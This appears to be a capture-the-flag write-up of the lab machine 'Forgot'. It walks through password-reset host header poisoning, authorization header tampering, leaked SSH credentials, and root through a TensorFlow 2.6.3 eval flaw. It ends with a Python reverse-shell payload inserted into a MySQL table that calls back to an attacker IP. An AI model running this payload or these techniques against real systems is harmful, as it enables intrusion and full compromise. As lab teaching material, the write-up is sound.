Forgot is an intermediate box which start with few basic web application misconfigurations. Box runs vulnerable tensorflow python package in a script which is run as sudo/root
Enumeration
NMAP
1
2
3
4
5
6
7
8
9
10
11
Nmap scan report for 10.129.249.130
Host is up (0.042s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
| 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open http
|_http-title: Login
Website
Finding username in the source code
If we check th source then we’d find a user robert-dev-14320
.
We cannot guess the password or brute-force it as caching and responses make the wait completely unbearable, but there is forgot
password present so let’s check that.
Initial Foothold - digging deeper
Host Header Poisoning on forgot password
It appears that we can poison host header which makes the webserver to issue an request (HTTP!) to our own server
We can set a new password for robert-dev-14320
and access the Support Portal. Be patient and make sure you URL encode your token!
Getting onto Admin Panel
We can find admin’s dashboards if we check the site map.
If we however try to access it with robert-dev-14320
we’d be redirected to denied page.
Good thing is that we can tamper the authorization header without having the right password as apparently only user will be checked.
Finding Diego’s credentials
If we check the response in Burp of the request above to admin_tickets
we’d find diego’s password.
Credentials work with SSH diego:dCb#1!x0%gjq
.
Privilege Escalation
We can run script as sudo
1
2
3
4
5
6
7
diego@forgot:~$ sudo -l
Matching Defaults entries for diego on forgot:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User diego may run the following commands on forgot:
(ALL) NOPASSWD: /opt/security/ml_security.py
Tensorflow Vulnerability
If we check the /opt/security/ml_security.py
we’ll find the tensorflow import.
1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/python3
import sys
import csv
...
from urllib.parse import unquote
from sklearn import model_selection
from nltk.tokenize import word_tokenize
from sklearn.linear_model import LogisticRegression
from gensim.models.doc2vec import Doc2Vec, TaggedDocument
from tensorflow.python.tools.saved_model_cli import preprocess_input_exprs_arg_string
...
We can check tensorflow
’s version:
1
2
diego@forgot:~$ pip3 show tensorflow | grep Version
Version: 2.6.3
This version of Tensorflows is vulnerable to Remote Code Execution. References:
- https://security.snyk.io/vuln/SNYK-PYTHON-TENSORFLOW-2841408
- https://github.com/advisories/GHSA-75c9-jrh4-79mc
Script /opt/security/ml_security.py
loads input from escalate
table.
reason
column in escalate
table (app
database) resides on 4th position.
1
2
3
4
5
6
7
8
9
10
diego@forgot:~$ mysql -u diego -p'dCb#1!x0%gjq' -D app -e "show columns from escalate;"
mysql: [Warning] Using a password on the command line interface can be insecure.
+--------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+--------+------+------+-----+---------+-------+
| user | text | YES | | NULL | |
| issue | text | YES | | NULL | |
| link | text | YES | | NULL | |
| reason | text | YES | | NULL | |
+--------+------+------+-----+---------+-------+
The vulnerability is pretty trivial to exploit if we check the PoC: https://github.com/advisories/GHSA-75c9-jrh4-79mc
We just have to keep in mind that we need to inject our payload into reason column:
1
insert into escalate values ("user","issue","link",'hello=exec("""\nimport socket\nimport subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("10.10.14.52",5555))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")');
Run sudo /opt/security/ml_security.py
and shell should pop as root. (For the payload above, listener has to be started beforehand on the attackers machine!)